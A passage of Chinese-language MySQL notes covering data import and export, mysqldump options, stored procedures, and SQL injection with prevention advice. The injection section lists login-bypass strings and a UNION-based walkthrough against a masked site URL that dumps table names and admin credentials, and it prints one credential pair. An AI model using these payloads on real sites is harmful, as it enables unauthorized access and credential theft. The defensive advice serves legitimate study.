3、mysql> select * from user into dumpfile "E:/wamp64/tmp/user.txt";
mysql> select 'a\naa\raaaa' into dumpfile 'E:/wamp64/tmp/test1.txt';
mysql> select load_file('E:/wamp64/tmp/test.txt');
【 mysql数据导入-还原 】
source命令导入多个sql文件,可以新建一个sou.sql文件,里面存放下面的命令
source d:/check1.sql;
source d:/check2.sql;
mysql> source d:/sou.sql;
1.mysql命令行导入
mysql> use new;
mysql> source new.sql
mysql> source d:blog.sql // mysql下导入d盘的blog.sql文件,执行sql文件内的SQL命令
mysql> source D:/www/sql/back.sql;
导入数据库
cmd> mysql -u root -p dbname < dbname.sql
cmd> mysql -P 3306 -h 127.0.0.1 -uroot -p base_push < C:\Users\thinkive\Desktop\base_push.sql
2.load data infile "/path/to/file" into table table_name;
如果导出时用到了fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'语句,那么load时也要加上同样的分隔限制语句,还要注意编码问题
LOAD DATA LOCAL INFILE 导入的文件.txt INTO TABLE 表名
FIELDS TERMINATED BY 间隔符号
LINES TERMINATED BY 换行符 (字段1,字段2);
LOAD DATA LOCAL INFILE 'c:/ProgramData/MySQL/MySQL Server 5.6/Uploads/out.txt' INTO TABLE `test`
FIELDS TERMINATED BY ','
LINES TERMINATED BY '\n' (city_id,msisdn);
excell和mysql
【 把Excel数据导入到MySQL中 】
1.将数据导入excell中,按照table的字段顺序,不需要字段名,去掉多余字段
2.另存为CSV文件,csv文件的分隔符是逗号,excell默认ANSI编码
3.phpadmin数据表导入excell
4.或cmd> load data local infile 'E:\\Dev\\a.csv' into table t1 fields terminated by ',';
【 把Excel数据导入到MySQL中 】
1.将文件另存为"文本文件(制表符分割)(*.txt)"
2.cmd> load data local infile data.txt into table exceltomysql fields terminated by '\t';
【 把Excel数据导入到MySQL中 】
利用excel生成sql语句
1.excell新增一列,第一行中输入公式:
=CONCATENATE("insert into table (col1,col2,col3) values ('",A1,"','",B1,"','",C1,"');")
如果有时间的话 '",text(A1,"yyyy-mm-dd hh:mm:ss"),"'
2.将公式复制到所有行(就是用鼠标点住单元格的右下角一直拖拽下去)
3.把新列复制到一个纯文本文件中,如sql.txt
4.把sql.txt放到数据库中运行即可,你可以用命令行导入,也可以用phpadmin运行
【 把Excel数据导入到MySQL中 】
thinkphp中composer phpexcell
mysqldump命令详解
mysqldump[options] database [tables,多个表用空格隔开] --databases [options] BD1 [DB2..多个库用空格隔开] --all-databases [options] --all-databases ,-A 导出全部数据库 mysqldump -uroot -p --all-databases --all-tablespaces ,-Y 导出全部表空间 mysqldump -uroot -p --all-databases --all-tablespaces --no-tablespaces ,-y 不导出任何表空间信息 mysqldump -uroot -p --all-databases --no-tablespaces --add-drop-database 每个数据库创建之前添加drop数据库语句 mysqldump -uroot -p --all-databases --add-drop-database --add-drop-table 每个数据表创建之前添加drop数据表语句。(默认为打开状态,使用--skip-add-drop-table取消选项) mysqldump -uroot -p --all-databases (默认添加drop语句) mysqldump -uroot -p --all-databases –skip-add-drop-table (取消drop语句) --add-locks 在每个表导出之前增加LOCK TABLES并且之后UNLOCK TABLE。(默认为打开状态,使用--skip-add-locks取消选项) mysqldump -uroot -p --all-databases (默认添加LOCK语句) mysqldump -uroot -p --all-databases –skip-add-locks (取消LOCK语句) --allow-keywords 允许创建是关键词的列名字。这由表名前缀于每个列名做到 mysqldump -uroot -p --all-databases --allow-keywords --apply-slave-statements 在'CHANGE MASTER'前添加'STOP SLAVE',并且在导出的最后添加'START SLAVE' mysqldump -uroot -p --all-databases --apply-slave-statements --character-sets-dir 字符集文件的目录 mysqldump -uroot -p --all-databases --character-sets-dir=/usr/local/mysql/share/mysql/charsets --comments 附加注释信息。默认为打开,可以用--skip-comments取消 mysqldump -uroot -p --all-databases (默认记录注释) mysqldump -uroot -p --all-databases --skip-comments (取消注释) --compatible 导出的数据将和其它数据库或旧版本的MySQL 相兼容。值可以为ansi、、oracle、mssql、db2、maxdb等, 要使用几个值,用逗号将它们隔开。它并不保证能完全兼容,而是尽量兼容 mysqldump -uroot -p --all-databases --compatible=ansi --compact 导出更少的输出信息(用于调试)。去掉注释和头尾等结构 可以使用选项: --skip-add-drop-table --skip-add-locks --skip-comments --skip-disable-keys mysqldump -uroot -p --all-databases --compact --complete-insert,-c 使用完整的insert语句(包含列名称),能提高插入效率,但是可能会受到max_allowed_packet参数的影响而导致插入失败 mysqldump -uroot -p --all-databases --complete-insert --compress,-C 在客户端和服务器之间启用压缩传递所有信息 mysqldump -uroot -p --all-databases --compress --create-options,-a 在CREATE TABLE语句中包括所有MySQL特性选项。(默认为打开状态) mysqldump -uroot -p --all-databases --databases,-B 导出几个数据库。参数后面所有名字参量都被看作数据库名 mysqldump -uroot -p --databases test mysql --debug 输出debug信息,用于调试。默认值为: d:t,/tmp/mysqldump.trace mysqldump -uroot -p --all-databases --debug mysqldump -uroot -p --all-databases --debug=" d:t,/tmp/debug.trace" --debug-check 检查内存和打开文件使用说明并退出 mysqldump -uroot -p --all-databases --debug-check --debug-info 输出调试信息并退出 mysqldump -uroot -p --all-databases --debug-info --default-character-set 设置默认字符集,默认值为utf8 mysqldump -uroot -p --all-databases --default-character-set=utf8 --delayed-insert 采用延时插入方式(INSERT DELAYED)导出数据 mysqldump -uroot -p --all-databases --delayed-insert --delete-master-logs master备份后删除日志. 这个参数将自动激活--master-data mysqldump -uroot -p --all-databases --delete-master-logs --disable-keys 对于每个表,用/*!40000 ALTER TABLE tbl_name DISABLE KEYS */;和/*!40000 ALTER TABLE tbl_name ENABLE KEYS */; 语句引用INSERT语句。这样可以更快地导入dump出来的文件,因为它是在插入所有行后创建索引的 该选项只适合MyISAM表,默认为打开状态 mysqldump -uroot -p --all-databases --dump-slave 该选项将主的binlog位置和文件名追加到导出数据的文件中(show slave status) 设置为1时,将会以CHANGE MASTER命令输出到数据文件;设置为2时,会在change前加上注释 该选项将会打开--lock-all-tables,除非--single-transaction被指定。该选项会自动关闭--lock-tables选项。默认值为0 mysqldump -uroot -p --all-databases --dump-slave=1 mysqldump -uroot -p --all-databases --dump-slave=2 --master-data 该选项将当前服务器的binlog的位置和文件名追加到输出文件中(show master status) 如果为1,将会输出CHANGE MASTER 命令;如果为2,输出的CHANGE MASTER命令前添加注释信息 该选项将打开--lock-all-tables 选项,除非--single-transaction也被指定 (在这种情况下,全局读锁在开始导出时获得很短的时间;其他内容参考下面的--single-transaction选项) 该选项自动关闭--lock-tables选项 mysqldump -uroot -p --host=localhost --all-databases --master-data=1; mysqldump -uroot -p --host=localhost --all-databases --master-data=2; --events,-E 导出事件 mysqldump -uroot -p --all-databases --events --extended-insert,-e 使用具有多个VALUES列的INSERT语法。这样使导出文件更小,并加速导入时的速度。默认为打开状态,使用--skip-extended-insert取消选项 mysqldump -uroot -p --all-databases mysqldump -uroot -p --all-databases--skip-extended-insert (取消选项) --fields-terminated-by 导出文件中忽略给定字段。与--tab选项一起使用,不能用于--databases和--all-databases选项 mysqldump -uroot -p test test --tab="/home/mysql" --fields-terminated-by="#" --fields-enclosed-by 输出文件中的各个字段用给定字符包裹。与--tab选项一起使用,不能用于--databases和--all-databases选项 mysqldump -uroot -p test test --tab="/home/mysql" --fields-enclosed-by="#" --fields-optionally-enclosed-by 输出文件中的各个字段用给定字符选择性包裹。与--tab选项一起使用,不能用于--databases和--all-databases选项 mysqldump -uroot -p test test --tab="/home/mysql" --fields-enclosed-by="#" --fields-optionally-enclosed-by ="#" --fields-escaped-by 输出文件中的各个字段忽略给定字符。与--tab选项一起使用,不能用于--databases和--all-databases选项 mysqldump -uroot -p mysql user --tab="/home/mysql" --fields-escaped-by="#" --flush-logs 开始导出之前刷新日志,假如一次导出多个数据库(使用选项--databases或--all-databases),将会逐个数据库刷新日志 除使用--lock-all-tables或--master-data外。在这种情况下,日志将会被刷新一次,相应的所以表同时被锁定 因此,如果打算同时导出和刷新日志应该使用--lock-all-tables 或--master-data 和--flush-logs mysqldump -uroot -p --all-databases --flush-logs --flush-privileges 在导出mysql数据库之后,发出一条FLUSH PRIVILEGES 语句。为了正确恢复,该选项应该用于导出mysql数据库和依赖mysql数据库数据的任何时候 mysqldump -uroot -p --all-databases --flush-privileges --force 在导出过程中忽略出现的SQL错误 mysqldump -uroot -p --all-databases --force --help 显示帮助信息并退出 mysqldump --help --hex-blob 使用十六进制格式导出二进制字符串字段。如果有二进制数据就必须使用该选项。影响到的字段类型有BINARY、VARBINARY、BLOB mysqldump -uroot -p --all-databases --hex-blob --host,-h 需要导出的主机信息 mysqldump -uroot -p --host=localhost --all-databases --ignore-table 不导出指定表。指定忽略多个表时,需要重复多次,每次一个表。每个表必须同时指定数据库和表名 例如: --ignore-table=database.table1 --ignore-table=database.table2 …… mysqldump -uroot -p --host=localhost --all-databases --ignore-table=mysql.user --include-master-host-port 在--dump-slave产生的'CHANGE MASTER TO..'语句中增加'MASTER_HOST=< host >,MASTER_PORT=< port >' mysqldump -uroot -p --host=localhost --all-databases --include-master-host-port --insert-ignore 在插入行时使用INSERT IGNORE语句. mysqldump -uroot -p --host=localhost --all-databases --insert-ignore --lines-terminated-by 输出文件的每行用给定字符串划分。与--tab选项一起使用,不能用于--databases和--all-databases选项 mysqldump -uroot -p --host=localhost test test --tab="/tmp/mysql" --lines-terminated-by="##" --lock-all-tables,-x 提交请求锁定所有数据库中的所有表,以保证数据的一致性。这是一个全局读锁,并且自动关闭--single-transaction 和--lock-tables 选项 mysqldump -uroot -p --host=localhost --all-databases --lock-all-tables --lock-tables,-l 开始导出前,锁定所有表。用READ LOCAL锁定表以允许MyISAM表并行插入 对于支持事务的表例如InnoDB和BDB,--single-transaction是一个更好的选择,因为它根本不需要锁定表 当导出多个数据库时--lock-tables分别为每个数据库锁定表 该选项不能保证导出文件中的表在数据库之间的逻辑一致性,不同数据库表的导出状态可以完全不同 mysqldump -uroot -p --host=localhost --all-databases --lock-tables --log-error 附加警告和错误信息到给定文件 mysqldump -uroot -p --host=localhost --all-databases --log-error=/tmp/mysqldump_error_log.err --max_allowed_packet 服务器发送和接受的最大包长度 mysqldump -uroot -p --host=localhost --all-databases --max_allowed_packet=10240 --net_buffer_length TCP/IP和socket连接的缓存大小 mysqldump -uroot -p --host=localhost --all-databases --net_buffer_length=1024 --no-autocommit 使用autocommit/commit 语句包裹表 mysqldump -uroot -p --host=localhost --all-databases --no-autocommit --no-create-db,-n 只导出数据,而不添加CREATE DATABASE 语句 mysqldump -uroot -p --host=localhost --all-databases --no-create-db --no-create-info,-t 只导出数据,而不添加CREATE TABLE 语句 mysqldump -uroot -p --host=localhost --all-databases --no-create-info --no-data,-d 不导出任何数据,只导出数据库表结构 mysqldump -uroot -p --host=localhost --all-databases --no-data --no-set-names,-N 等同于--skip-set-charset mysqldump -uroot -p --host=localhost --all-databases --no-set-names --opt 等同于--add-drop-table,--add-locks,--create-options,--quick,--extended-insert, --lock-tables,--set-charset,--disable-keys 该选项默认开启,可以用--skip-opt禁用. mysqldump -uroot -p --host=localhost --all-databases --opt --order-by-primary 如果存在主键,或第一个唯一键,对每个表的记录进行排序。在导出MyISAM表到InnoDB表时有效,但会使得导出工作花费很长时间 mysqldump -uroot -p --host=localhost --all-databases --order-by-primary --password,-p 连接数据库密码 --pipe(windows系统可用) 使用命名管道连接mysql mysqldump -uroot -p --host=localhost --all-databases --pipe --port,-P 连接数据库端口号 --protocol 使用的连接协议,包括: tcp,socket,pipe,memory. mysqldump -uroot -p --host=localhost --all-databases --protocol=tcp --quick,-q 不缓冲查询,直接导出到标准输出。默认为打开状态,使用--skip-quick取消该选项 mysqldump -uroot -p --host=localhost --all-databases mysqldump -uroot -p --host=localhost --all-databases --skip-quick --quote-names,-Q 使用(`)引起表和列名。默认为打开状态,使用--skip-quote-names取消该选项 mysqldump -uroot -p --host=localhost --all-databases mysqldump -uroot -p --host=localhost --all-databases --skip-quote-names --replace 使用REPLACE INTO 取代INSERT INTO. mysqldump -uroot -p --host=localhost --all-databases --replace --result-file,-r 直接输出到指定文件中。该选项应该用在使用回车换行对(\\r\\n)换行的系统上(例如: DOS,Windows)。该选项确保只有一行被使用 mysqldump -uroot -p --host=localhost --all-databases --result-file=/tmp/mysqldump_result_file.txt --routines,-R 导出存储过程以及自定义函数 mysqldump -uroot -p --host=localhost --all-databases --routines --set-charset 添加'SET NAMES default_character_set'到输出文件。默认为打开状态,使用--skip-set-charset关闭选项 mysqldump -uroot -p --host=localhost --all-databases mysqldump -uroot -p --host=localhost --all-databases --skip-set-charset --single-transaction 该选项在导出数据之前提交一个BEGIN SQL语句,BEGIN 不会阻塞任何应用程序且能保证导出时数据库的一致性状态 它只适用于多版本存储引擎,仅InnoDB。本选项和--lock-tables 选项是互斥的, 因为LOCK TABLES 会使任何挂起的事务隐含提交。要想导出大表的话,应结合使用--quick 选项 mysqldump -uroot -p --host=localhost --all-databases --single-transaction --dump-date 将导出时间添加到输出文件中。默认为打开状态,使用--skip-dump-date关闭选项 mysqldump -uroot -p --host=localhost --all-databases mysqldump -uroot -p --host=localhost --all-databases --skip-dump-date --skip-opt 禁用–opt选项. mysqldump -uroot -p --host=localhost --all-databases --skip-opt --socket,-S 指定连接mysql的socket文件位置,默认路径/tmp/mysql.sock mysqldump -uroot -p --host=localhost --all-databases --socket=/tmp/mysqld.sock --tab,-T 为每个表在给定路径创建tab分割的文本文件。注意: 仅仅用于mysqldump和mysqld服务器运行在相同机器上 mysqldump -uroot -p --host=localhost test test --tab="/home/mysql" --tables 覆盖--databases (-B)参数,指定需要导出的表名 mysqldump -uroot -p --host=localhost --databases test --tables test --triggers 导出触发器。该选项默认启用,用--skip-triggers禁用它 mysqldump -uroot -p --host=localhost --all-databases --triggers --tz-utc 在导出顶部设置时区TIME_ZONE='+00:00' ,以保证在不同时区导出的TIMESTAMP 数据或数据被移动其他时区时的正确性 mysqldump -uroot -p --host=localhost --all-databases --tz-utc --user,-u 指定连接的用户名 --verbose,--v 输出多种平台信息 --version,-V 输出mysqldump版本信息并退出 --where,-w 只转储给定的WHERE条件选择的记录。请注意如果条件包含命令解释符专用空格或字符,一定要将条件引用起来 mysqldump -uroot -p --host=localhost --all-databases --where=" user='root'" --xml,-X 导出XML格式. mysqldump -uroot -p --host=localhost --all-databases --xml --plugin_dir 客户端插件的目录,用于兼容不同的插件版本 mysqldump -uroot -p --host=localhost --all-databases --plugin_dir="/usr/local/lib/plugin" --default_auth 客户端插件默认使用权限 mysqldump -uroot -p --host=localhost --all-databases --default-auth="/usr/local/lib/plugin/< PLUGIN >"
SQL注入实例
没有对输入的数据进行过滤(过滤输入),或者没有对发送到数据库的数据进行转义(转义输出)
用户名: ' or 1=1# 或 'or'1'='1'# 或密码输入: 'or 1=1--'
#在PHP里表示注释,--是SQL的注释标记,告诉SQL解释器忽略后面的语句
登录验证SQL语句: "select * from users where username=".$_POST['username']."and password=".$_POST['password']
变成: select * from users where username='' or 1=1#' and password=md5('')
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
【 测试网站后台MySQL注入 】
1、判断注��点http://www.xxxxxx.com/productdet.php?id=65
步骤: 判断注入点----测试密码长度----爆出数据名----转化16进制----爆出表名-----猜测密码位置----爆出账号和密码
在网站url地址后面加入判断语句and 1=1 或者 and 1=2,按下回车看网页显示状态,显示不正常,存在注入点
2、继续使用order by 数字,测试密码长度,如果密码长度与order by 数字长度相等,则页面会显示正常。数字一般5~50之前取,不停的去测试最终找到22后的数字,页面显示正常,证明找到网页密码长度。
3、根据order by 22 以及使用语句union select,爆出10 、11的位置为数据库信息点。
http://www.xxxx.com/productdet.php?id=-65+UNION SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
4、根据database() 数据库名,version() 数据库版本名 ,user() 数据库用户名,@@version_comile_os 操作系统。
在10数字用database()替换掉,刷新网页后出现shsjk,shsjk为数据库名字。
http://www.xxxx.com/productdet.php?id=-65+UNION SELECT+1,2,3,4,5,6,7,8,9,database() ,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.tables where table_schema
在使用group_concat(table_name)爆出数据库里面表的名字。
http://www.xxxx.com/productdet.php?id=-65+UNION SELECT+1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16,17,18,19,20,21,22from information_schema.tables where table_schema=0x7368736A6B
网页刷新一下,数据库里面所有的表名全部爆出。
从网页数据库表名可以推断,密码和账号存放在wz_jj_admin里面。
使用http://www.xxxxxxxxx.com/productdet.php?id=-65+UNION SELECT+1,2,3,4,5,6,7,8,9,group_concat(ad_username,ad_password),11,12,13,14,15,16,17,18,19,20,21,22from wz_jj_admin
账号
gankchetditrungquoct^^!
密码
Password:chetdichetdi
实际自己登陆一下发现,这个是普通账号,不是管理员账号。
在去找找,发现wz_jj_en_admin为密码存放点,再次使用http://www.xxxxxxxxx.com/productdet.php?id=-65+UNION SELECT+1,2,3,4,5,6,7,8,9,group_concat(ad_username,ad_password),11,12,13,14,15,16,17,18,19,20,21,22from wz_jj_en_admin
【 防止SQL注入 】
如果需要原样输出用户输入的内容,在数据入库前要用htmlspecialchars或htmlentities函数处理
1、数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。
2、自定义错误信息,屏蔽服务器的详细错误信息传到客户端。
3、把危险的和不必要的存储过程删除
4、非参数化SQL与参数化SQL
1) 非参数化(动态拼接SQL)
a) 检查客户端脚本,将输入值中包含的HTML特殊转义字符转换掉。
b) 类型检查: 对接收数据有明确要求的,在方法内进行类型验证
c) 长度验证: 要进行必要的注入,其语句也是有长度的,所以如果原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。
d) 使用枚举: 如果只有有限的几个值就用枚举。
e) 关键字过滤: 这个门槛比较高,因为各个数据库存在关键字、内置函数的差异,所以对编写此函数的功底要求较高
a) 对关键字过滤常常顾此失彼,如漏掉关键字、系统函数、对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。
b) 无法满足需求: 用户本来就想发表包含这些过滤字符的数据。
c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。
2) 参数化查询(Parameterized Query)
a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的,他们能尽早检查出数据的有效性。
b) 参数化查询原理: 在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL指令的编译后才套用参数运行,因此就算参数中含有具有损的指令也不会被数据库所运行。
c) 所以在实际开发中入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。
优点:
Ø 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化)
Ø 参数化查询能强制执行类型和长度检查。
Ø 在MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间)
缺点:
Ø 不是所有数据库都支持参数化查询,目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。
参数化如何批量更新数据库
通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。
有部份的开发人员可能会认为使用参数化查询会让程序更不好维护,或者在实现部份功能上会非常不便,然而使用参数化查询造成的额外开发成本通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。
【 TIPS 】
0.永远不要信任外界输入的数据,特别是来自于客户端的,包括选择框、表单隐藏域和 cookie,如URL地址栏、登陆界面、留言板、搜索框等
1.永远不要使用超级用户或所有者帐号去连接数据库。要用权限被严格限制的帐号
2.检查输入的数据是否具有所期望的数据格式,从简单的变量函数和字符类型函数(如数字或数字字符串is_numeric(),纯数字ctype_digit())到复杂的Perl兼容正则表达式函数都可以完成这个工作
如果程序等待输入一个数字可以考虑使用is_numeric()来检查或直接使用settype($var,$type)转换它的类型,也可以用sprintf()格式化为数字
3.sql注入就是用户提交一些非法的字符(如单引号'和sql语句的注释号--,还有反斜杠\等),所以要用htmlspecialchars()函数实现转义
htmlspecialchars函数把预定义的字符(& " ' < >)转换为HTML实体
addslashes函数返回在预定义字符之前添加反斜杠的字符串(' " \ null),php会自动运行addslashes添加斜杠
stripslashes函数删除由addslashes()函数添加的反斜杠
4.password通过md5加密,密码上附加一个自己定义的字符串,$password= md5($salt.md5($_POST['password'].$salt));
5.JS段验证表单了,PHP后台还要验证,因为friebug可以禁用JS
6.GET方式提交表单很危险,所以还是用POST方式
7.在开发时Mysql语句执行出错时会调用函数mysql_error()来报告错误,但它能向攻击者暴露字段名和它们的查询顺序
8.$sql = 'INSERT INTO user (last_name) VALUES (?)';
$dbh->query($sql,array($clean['last_name'])); //pdo
9.大多虚拟主机都会把magic_quotes_gpc选项打开,在这种情况下所有的客户端GET和POST的数据都自动进行addslashes处理,
所以此时对字符串值的SQL注入是不可行的,但要防止对数字值的SQL注入,如用intval()等函数进行处理
ThinkPHP
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find(); //类型约束
$data=M('Member')->where('id='.intval($_GET['id']))->find(); //类型转换
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find(); //习惯写法
$data=M('Member')->where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定
$data=M('Member')->where("id=%d",array($_GET['id']))->find(); //预处理机制
存储过程Stored Procedure - SQL中的脚本
SQL语句需要先编译然后执行 存储过程是一组可编程的函数,是为了完成特定功能的SQL语句集,由SQL语句和控制结构组成,编译后存储在数据库中,用户通过指定存储过程的名字并给定参数来调用执行它。 存储过程跟触发器有点类似,都是一组SQL集,但是存储过程是主动调用的,功能比触发器更加强大,触发器是某件事触发后自动调用 当想要在不同的应用程序或平台上执行相同的函数或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟,它允许控制数据的访问方式。 【 存储过程的优点 】 ①将重复性很高的一些操作封装到一个存储过程中,简化了对这些SQL的调用 ②批量处理: SQL+循环,减少流量,也就是"跑批" ③统一接口,确保数据的安全 存储过程运行比较稳定,不会有太多的错误,只要一次成功,以后都会按这个程序运行 存储过程可以从自己的存储过程内引用其它存储过程,这可以简化一系列复杂语句 (1)增强SQL语言的功能和灵活性 存储过程可以用控制语句编写,功能强大,灵活性很强,可以完成复杂的判断和较复杂的运算。 有输入输出参数,可以声明变量,有if/else,case,while等控制语句,通过编写存储过程,可以实现复杂的逻辑功能; (2)标准组件式编程 模块化,封装,代码复用,便于以后管理;存储过程被创建后可以在程序中被多次调用,而不必重新编写该存储过程的SQL语句。数据库专业人员可以随时对存储过程进行修改,对应用程序源代码毫无影响。 (3)较快的执行速度 只有首次执行需经过编译和优化步骤,后续被调用可以直接执行,省去以上步骤 如果某一操作包含大量的Transaction-SQL代码或分别被多次执行,那么存储过程要比批处理的执行速度快很多。因为存储过程是预编译的。在首次运行一个存储过程时查询,优化器对其进行分析优化,并且给出最终被存储在系统表中的执行计划。而批处理的Transaction-SQL语句在每次运行时都要进行编译和优化,速度相对要慢一些。 (4)减少网络流量 针对同一个数据库对象的操作如查询、修改,如果这一操作所涉及的Transaction-SQL语句被组织进存储过程,那么当在客户计算机上调用该存储过程时,网络中传送的只是该调用语句,从而大大减少网络流量并降低了网络负载。 (5)作为一种安全机制来充分利用 通过对执行某一存储过程的权限进行限制,能够实现对相应的数据的访问权限的限制,避免了非授权用户对数据的访问,保证了数据的安全。 存储过程弊端 不同数据库,语法差别很大,移植困难,换数据库需要重新编写; 不好管理,把过多业务逻辑写在存储过程不好维护,不利于分层管理,容易混乱,一般存储过程适用于个别对性能要求较高的业务,其它的必要性不是很大
MySQL存储过程的创建
CREATE PROCEDURE 过程名([[IN|OUT|INOUT] 参数名 数据类型[,[IN|OUT|INOUT] 参数名 数据类型…]]) [特性 ...] 过程体
DELIMITER //
CREATE PROCEDURE myproc(OUT s int)
BEGIN
SELECT COUNT(*) INTO s FROM students;
END
//
DELIMITER ;
分隔符delimiter
MySQL默认以";"为分隔符,如果没有声明分割符则编译器会把存储过程当成SQL语句进行处理,因此编译过程会报错,所以要事先用"DELIMITER //"声明当前段分隔符,让编译器把两个"//"之间的内容当做存储过程的代码,将存储过程作为整体传递给服务器,不会执行这些代码
"DELIMITER ;"的意为把分隔符还原。
MySQL存储过程的调用
使用CALL语句来调用存储过程,存储过程也可以调用其他存储过程
用call和过程名以及一个括号,括号里面根据需要加入参数,参数包括输入参数、输出参数、输入输出参数。
call sp_name()
注释
MySQL存储过程可使用两种风格的注释:
双杠: --,该风格一般用于单行注释
C风格: 一般用于多行注释
【 参数 】 存储过程根据需要可能会有输入、输出、输入输出参数,如果有多个参数则用","分割开。 MySQL存储过程的参数用在存储过程的定义,共有三种参数类型,IN,OUT,INOUT: 1、IN输入参数 表示调用者向过程传入值(传入值可以是字面量或变量),参数的值必须在调用存储过程时指定,在存储过程中修改该参数的值不能被返回,为默认值 2、OUT输出参数 表示过程向调用者传出值,可以返回多个值(传出值只能是变量),该值可在存储过程内部被改变,并可返回 3、INOUT输入输出参数 既表示调用者向过程传入值,又表示过程向调用者传出值(值只能是变量),调用时指定,并且可被改变和返回 create procedure([[in |out |inout ] 参数名 数据类形...]) 如果过程没有参数,也必须在过程名后面写上小括号 确保参数的名字不等于列的名字表的字段名,否则在过程体中参数名被当做列名来处理 存储过程的参数可以使用中文,在定义存储过程的时候加上character set gbk就可以了 CREATE PROCEDURE useInfo(IN u_name VARCHAR(50) CHARACTER SET gbk,OUT u_age INT) 建议: >输入值使用in参数; >返回值使用out参数; >inout参数就尽量的少用。IN参数例子,可以看出p_in虽然在存储过程中被修改,但并不影响@p_id的值存储过程OUT参数例子存储过程INOUT参数例子,调用了inout_param存储过程,接受了输入的参数,也输出参数,改变了变量
【 过程体 - 区块 】 过程体格式: 以begin开始,以end结束(可嵌套) 存储过程体包含了在过程调用时必须执行的语句,如: dml、ddl语句,if-then-else和while-do语句、声明变量的declare语句等 每个嵌套块及其中的每条语句,必须以分号结束,表示过程体结束的begin-end块(又叫做复合语句compound statement),则不需要分号。 BEGIN和END之间的部分称为存储过程的主体。将声明性SQL语句放在主体中以处理业务逻辑 BEGIN BEGIN BEGIN statements; END END END 为语句块贴标签,给区块起别名,可以用leave lable1;跳出区块,执行区块以后的代码 [begin_label:] BEGIN [statement_list] END [end_label] 例如: label1: BEGIN label2: BEGIN label3: BEGIN statements; END label3 ; END label2; END label1 标签有两个作用: ①增强代码的可读性 ②在某些语句(如:leave和iterate语句)需要用到标签
存储函数
存储函数(自定义函数)又是什么呢?: 封装一段sql代码,完成一种特定的功能,必须返回结果,其余特性基本跟存储过程相同 存储函数与存储过程的区别 1)存储函数有且只有一个返回值,而存储过程不能有返回值。就是说能不能使用return。函数可返回返回值或表对象,绝对不能返回结果集 2)函数只能有输入参数,而且不能带in,而存储过程可以有多个in,out,inout参数。 3)存储过程中的语句功能更强大,存储过程可以实现很复杂的业务逻辑,而函数有很多限制,如不能在函数中使用insert,update,delete,create等语句;存储函数只完成查询的工作,可接受输入参数并返回一个结果,也就是函数实现的功能针对性比较强。比如: 工期计算、价格计算。 4)存储过程可以调用存储函数。但函数不能调用存储过程。 5)存储过程一般是作为一个独立的部分来执行(call调用)。而函数可以作为查询语句的一个部分来调用。 mysql的设置默认是不允许创建函数 show variables like 'log_bin_trust_function_creators'; SET GLOBAL log_bin_trust_function_creators = 1; // 重启mysql就失效 log-bin-trust-function-creators=1 // 修改my.cnf然后重启服务 创建存储函数需要使用CREATE FUNCTION语句,基本语法如下: CREATE FUNCTION func_name([func_parameter]) RETURNS TYPE [characteristics...] routine_body CREATE FUNCTION为用来创建存储函数的关键字; func_name表示存储函数的名称 func_parameter为存储函数的参数列表,参数列表如下 [IN|OUT|INOUT] PARAM_NAMETYPE 其中IN表示输入参数,OUT表示输出参数,INOUT表示既可以输入也可以输出; param_name表示参数名称;type表示参数类型,该类型可以是MYSQL数据库中的任意类型 RETURNS TYPE语句表示函数返回数据的类型; characteristics: 指定存储函数的特性,取值与创建存储过程时相同 CREATE DEFINER=`root`@`localhost` FUNCTION `NameByID`() RETURNS char(50) CHARSET utf8 RETURN (SELECT username FROM user WHERE uid=2)创建名称为NameByT的存储函数,该函数返回SELECT语句的查询结果,数值类型为字符串型
如果在存储函数中的RETURN语句返回一个类型不同于函数的RETURNS子句中指定类型的值,返回值将被强制转换为恰当的类型。 例如一个函数返回一个SET或ENUM值,但是RETURN语句返回一个整数,对于SET成员集的相应ENUM成员,从函数返回的值是字符串。 指定参数为IN、OUT、INOUT只对PROCEDURE是合法的。FUNCTION中总是默认是IN参数 RETURNS子句对FUNCTION做指定,对函数而言这是强制的。用来指定函数的返回类型,而且函数体必须包含一个RETURN value语句
变量的使用
